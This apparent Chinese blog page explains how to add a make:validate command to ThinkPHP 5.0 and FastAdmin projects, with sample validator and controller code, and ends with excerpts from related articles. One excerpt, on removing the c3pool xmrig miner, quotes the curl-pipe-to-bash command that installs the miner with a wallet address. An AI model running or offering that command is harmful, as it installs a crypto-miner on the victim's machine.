当前位置: 首页 > news >正文

Thinkphp5.0命令行创建验证器validate类

前言

最近接手了个用FastAdmin(基于tp5)写的项目,发现命令行只提供生成controller和model的命令,没有提供make:validate命令,而5.1及以上版本是有的,对于使用tp5.0框架或者基于tp5.0的第三框架(如:FastAdmin)的项目非常不友好。做了个扩展来添加make:validate命令生成validate类。扩展的逻辑是从5.1框架源码直接复制过来的,所以验证器用法跟官方的一模一样,请放心使用。

github地址:https://github.com/jian1098/tp5-validate

注意:本扩展仅适用于Thinkphp5.0版本,更高的版本还是推荐使用自带的命令。

如何使用

1.安装扩展

composer require jian1098/tp5-validate:dev-master

2.注册命令

打开application/command.php,在数组中增加一行引入即可

return ['Jian1098\Tp5Validate\Command\Validate'
];

在命令行输入php think查看命令行列表,可以看到make:validate命令已添加

Think Console version 0.1
...makemake:controller    Create a new resource controller classmake:model         Create a new model classmake:validate      Create a new validate class
...

3.创建验证器

根据5.1版本的文档创建即可

php think make:validate TestValidate

该命令会生成application/common/validate/TestValidate.php文件

4.控制器中调用验证器

  • 先在上面创建的TestValidate.php中填写验证规则和验证场景

    <?phpnamespace app\common\validate;use think\Validate;class TestValidate extends Validate
    {/*** 定义验证规则* 格式:'字段名'	=>	['规则1','规则2'...]** @var array*/protected $rule = ['email' => 'require|email','password' => 'require|min:6',];/*** 定义错误信息* 格式:'字段名.规则名'	=>	'错误信息'** @var array*/protected $message = ['email.email' => '邮箱格式不正确',];/*** 验证场景定义* 格式:'场景名称'	=>	['字段1','字段2'...]** @var array*/protected $scene = ['login' => ['email', 'password'],];
    }
    
  • 在控制器中验证

    <?phpnamespace app\index\controller;use think\Controller;class Test extends Controller
    {public function index(){$data = $this->request->param();$result = $this->validate($data,'TestValidate.login');if(true !== $result){// 验证失败 输出错误信息dump($result);exit();}echo 'success';}
    }
    

相关文章:

Thinkphp5.0命令行创建验证器validate类

前言 最近接手了个用FastAdmin&#xff08;基于tp5&#xff09;写的项目&#xff0c;发现命令行只提供生成controller和model的命令&#xff0c;没有提供make:validate命令&#xff0c;而5.1及以上版本是有的&#xff0c;对于使用tp5.0框架或者基于tp5.0的第三框架&#xff08…...

人民网至顶科技:《开启智能新时代:2024中国AI大模型产业发展报告发布》

​3月26日&#xff0c;人民网财经研究院与至顶科技联合发布《开启智能新时代&#xff1a;2024年中国AI大模型产业发展报告》。该报告针对AI大模型产业发展背景、产业发展现状、典型案例、挑战及未来趋势等方面进行了系统全面的梳理&#xff0c;为政府部门、行业从业者以及社会公…...

AI大模型探索之路-应用篇13:企业AI大模型选型指南

目录 前言 一、概述 二、有哪些主流模型&#xff1f; 三、模型参数怎么选&#xff1f; 四、参数有什么作用&#xff1f; 五、CPU和GPU怎么选&#xff1f; 六、GPU和显卡有什么关系&#xff1f; 七、GPU主流厂商有哪些&#xff1f; 1、NVIDIA芯片怎么选&#xff1f; 2、…...

【安全】查杀linux上c3pool挖矿病毒xmrig

挖矿平台&#xff1a;猫池 病毒来源安装脚本 cat /root/c3pool/config.jsoncrontab -r cd /root/c3poolcurl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALLen_US.UTF-8 bash -s 44SLpuV4U7gB6RNZMCweHxWug7b1YUir4jLr3RBaVX33Qxj…...

车载测试:UDS之BootLoader刷写

BootLoader刷写 本文章是花费3小时结合多个项目实践总结和整体出来的&#xff0c;欢迎大家交流&#xff01; BootLoader刷写章节 ①&#xff1a;预编程步骤流程流程图 1.1 概述 1.2 流程步骤描述 1&#xff09;整车ECU进入扩展会话 2&#xff09;刷…...

OpenHarmony实战开发-MpChart图表实现案例。

介绍 MpChart是一个包含各种类型图表的图表库&#xff0c;主要用于业务数据汇总&#xff0c;例如销售数据走势图&#xff0c;股价走势图等场景中使用&#xff0c;方便开发者快速实现图表UI。本示例主要介绍如何使用三方库MpChart实现柱状图UI效果。如堆叠数据类型显示&#xf…...

brpc: bthread使用

使用bthread并发编程 #include <gflags/gflags.h> #include <butil/logging.h> #include <bthread/bthread.h>static void* func(void* args) {std::string* num static_cast<std::string*>(args);for(int i 0; i < 5; i) {LOG(INFO) << *…...

H.265视频直播点播录像EasyPlayer.js流媒体播放器用户常见问题及解答

EasyPlayer属于一款高效、精炼、稳定且免费的流媒体播放器&#xff0c;可支持多种流媒体协议播放&#xff0c;无须安装任何插件&#xff0c;起播快、延迟低、兼容性强&#xff0c;使用非常便捷。 今天我们来汇总下用户常见的几个问题及解答。 1、EasyPlayer.js播放多路H.265视…...

蓝桥杯杂题选做

海盗分金币 题目链接&#xff1a;1.海盗分金币 - 蓝桥云课 (lanqiao.cn) 题解&#xff1a;海盗分金币-Cheery的代码 - 蓝桥云课 (lanqiao.cn) 思路&#xff1a;倒着想就行。 等腰三角形 题目链接&#xff1a;1.等腰三角形 - 蓝桥云课 (lanqiao.cn) 题解&#xff1a;等腰三…...

【HTML】简单制作一个分形动画

目录 前言 开始 HTML部分 效果图 ​编辑​编辑​编辑​编辑总结 前言 无需多言&#xff0c;本文将详细介绍一段代码&#xff0c;具体内容如下&#xff1a; 开始 首先新建文件夹&#xff0c;创建一个文本文档&#xff0c;其中HTML的文件名改为[index.html]&a…...

JVM修炼之路【11】- 解决内存溢出、内存泄漏 以及相关案例

前面的10篇 都是基础的知识&#xff0c;包括类加载的过程 类加载的细节&#xff0c;jvm内存模型 垃圾回收 等等&#xff0c; 这一篇我们开始实战了解一下 各种疑难杂症&#xff1a;怎么监控 怎么发现 怎么解决 内存溢出 内存泄漏 这两个概念在垃圾回收器里面已经讲过了&#…...

Java面试题:描述Java 17中的密封接口及其用途

Java 17是继Java 11和Java 16之后的又一个长期支持&#xff08;LTS&#xff09;版本&#xff0c;它于2021年9月发布。在Java 17中&#xff0c;一个重要的新特性是密封接口&#xff08;Sealed Interfaces&#xff09;&#xff0c;这是对Java接口的增强&#xff0c;它允许接口有更…...

C++11的新特性

C11是由C标准委员会指定的语言规范。相比于C98/03&#xff0c;C11则带来了数量可观的变化&#xff0c;其中包含了约140 个新特性&#xff0c;以及对C03标准中约600个缺陷的修正&#xff0c;C11能更好地用于系统开发和库开发、语法更加泛华和简单化、更加稳定和安全&#xff0c;…...

【C语言__动态内存管理__复习篇6】

目录 前言 一、动态内存管理 二、动态内存函数 2.1 malloc 2.2 free 2.3 calloc 2.4 realloc 三、动态内存常见的6个使用错误 3.1 接收malloc/calloc返回的参数后未及时检查是否为NULL 3.2 越界访问动态内存空间 3.3 对非动态开辟的内存使用free释放 3.4 使用free只释放了…...

C语言 | Leetcode C语言题解之第30题串联所有单词的子串

题目&#xff1a; 题解&#xff1a; typedef struct {char key[32];int val;UT_hash_handle hh; } HashItem;int* findSubstring(char * s, char ** words, int wordsSize, int* returnSize){ int m wordsSize, n strlen(words[0]), ls strlen(s);int *res (int *)mall…...

大数据dolphinscheduler 本地容器化安装

Minio 容器安装 docker run -p 9000:9000 -p 9090:9090 --name minio -d -e "MINIO_ACCESS_KEYminioadmin" -e "MINIO_SECRET_KEYminioadmin" -v D:\SF\DOCKER\minio\data:/data -v D:\SF\DOCKER\minio\config:/root/.minio minio/minio server /da…...

简单的车牌号识别

目录 处理流程与界面各接口编写时遇到的一些问题上传图片识别结果标签显示中文 处理流程与界面 首先点击“上传图片”按钮&#xff0c;可以选择文件夹中含有汽车车牌的图片&#xff0c;并显示在“图片框”中。 点击“检测车牌”按钮&#xff0c;会先对“图片框”中即含有汽车车…...

openGauss学习笔记-261 openGauss性能调优-使用Plan Hint进行调优-将部分Error降级为Warning的Hint

文章目录 openGauss学习笔记-261 openGauss性能调优-使用Plan Hint进行调优-将部分Error降级为Warning的Hint261.1 功能描述261.2 语法格式261.3 示例261.3.1 忽略非空约束261.3.2 忽略唯一约束261.3.3 忽略分区表无法匹配到合法分区261.3.4 更新/插入值向目标列类型转换失败 o…...

CSS水波纹效果

效果图&#xff1a; 1.创建一个div <div class"point1" click"handlePoint(1)"></div> 2.设置样式 .point1{width: 1rem;height: 1rem;background: #2ce92f;position: absolute;border-radius: 50%;z-index: 999;cursor: pointer;} 3.设置伪…...

迭代器模式:优雅地遍历数据集合

在软件设计中&#xff0c;迭代器模式是一种常见且有用的设计模式&#xff0c;它允许顺序访问一个聚合对象中的各个元素&#xff0c;而又不暴露该对象的内部表示。这种模式在需要对集合进行遍历操作而又不想暴露集合内部结构的场景下非常有用。 一、迭代器模式的使用条件 访问集…...

AI时代就业真相:小白程序员如何抓住大模型机遇,收藏这份必看指南!

智联招聘数据显示&#xff0c;AI短期内替代部分岗位&#xff0c;但新增岗位同样显著。编辑、翻译等白领岗位需求缩减&#xff0c;而AI工程师、数据标注师等需求激增。初级职位衰减&#xff0c;中级与高级职位增长&#xff0c;企业招聘更看重软技能与AI应用能力。建议关注新质生…...

清华大学:Token消费学研究报告(附完整报告下载)

清华大学发布Token消费学研究报告&#xff0c;指出Token已演变为企业经营AI的核心资源单位。报告从供给侧和需求侧分析Token的经济学角色&#xff0c;揭示五大消费驱动机制&#xff0c;标志着AI管理进入精细化经营时代。关注GIS极客公众号&#xff0c;回复“清华Token”获取完整…...

SRWE:Windows窗口实时编辑器的专业应用指南

SRWE&#xff1a;Windows窗口实时编辑器的专业应用指南 【免费下载链接】SRWE Simple Runtime Window Editor 项目地址: https://gitcode.com/gh_mirrors/sr/SRWE 在数字内容创作和游戏开发领域&#xff0c;分辨率限制常常成为技术瓶颈。传统Windows窗口管理系统缺乏灵活…...

硬件对齐的稀疏注意力机制:原理、优化与实践

1. 硬件对齐的稀疏注意力机制概述在自然语言处理领域&#xff0c;Transformer架构已成为主流&#xff0c;但其核心组件——注意力机制的计算复杂度随序列长度呈平方级增长&#xff0c;这成为处理长文本的主要瓶颈。传统全注意力(Full Attention)需要计算每个查询(Query)与所有键…...

Turms开发者定制指南:如何基于源码进行二次开发

Turms开发者定制指南&#xff1a;如何基于源码进行二次开发 【免费下载链接】turms &#x1f54a;️ The worlds most advanced open source instant messaging engine for 100K~10M concurrent users https://turms-im.github.io/docs 项目地址: https://gitcode.com/gh_mir…...

手机数据导出

在数字信息爆炸的时代&#xff0c;手机早已不仅是通讯工具&#xff0c;更是承载个人记忆、工作文件与生活轨迹的“数字器官”。然而&#xff0c;当意外发生——误删、系统崩溃、硬件损坏——手机数据导出便成为一项技术性极高、且充满情感救赎价值的系统工程。本文将围绕手机数…...

QFN测试插座技术解析与应用实践

1. QFN测试插座的技术挑战与解决方案在半导体测试领域&#xff0c;QFN封装器件的测试一直是个棘手问题。这种无引线四方扁平封装虽然节省空间、散热优异&#xff0c;但恰恰因为缺少传统引脚&#xff0c;使得测试接触变得异常困难。我经手过不少QFN测试项目&#xff0c;最头疼的…...

GitHub加速终极指南:3步让你的下载速度提升10倍!

GitHub加速终极指南&#xff1a;3步让你的下载速度提升10倍&#xff01; 【免费下载链接】Fast-GitHub 国内Github下载很慢&#xff0c;用上了这个插件后&#xff0c;下载速度嗖嗖嗖的~&#xff01; 项目地址: https://gitcode.com/gh_mirrors/fa/Fast-GitHub 还在为Git…...

模块二-数据选择与索引——06. 列选择与操作

06. 列选择与操作 1. 概述 数据选择是 Pandas 最常用的操作之一。掌握列选择与操作&#xff0c;可以高效地提取、添加、修改和删除数据列。 import pandas as pd import numpy as np# 创建示例数据 df pd.DataFrame({姓名: [张三, 李四, 王五, 赵六, 钱七],年龄: [25, 30, 28,…...

Git Conflict Resolution

1. 这篇文章解决什么问题&#xff1f; Git 冲突不是异常情况&#xff0c;而是多人协作和分支开发里的正常现象。 常见问题包括&#xff1a; 1. 为什么会产生冲突&#xff1f; 2. 冲突文件里的 <<<<<<<、、>>>>>>> 是什么&#xff1f…...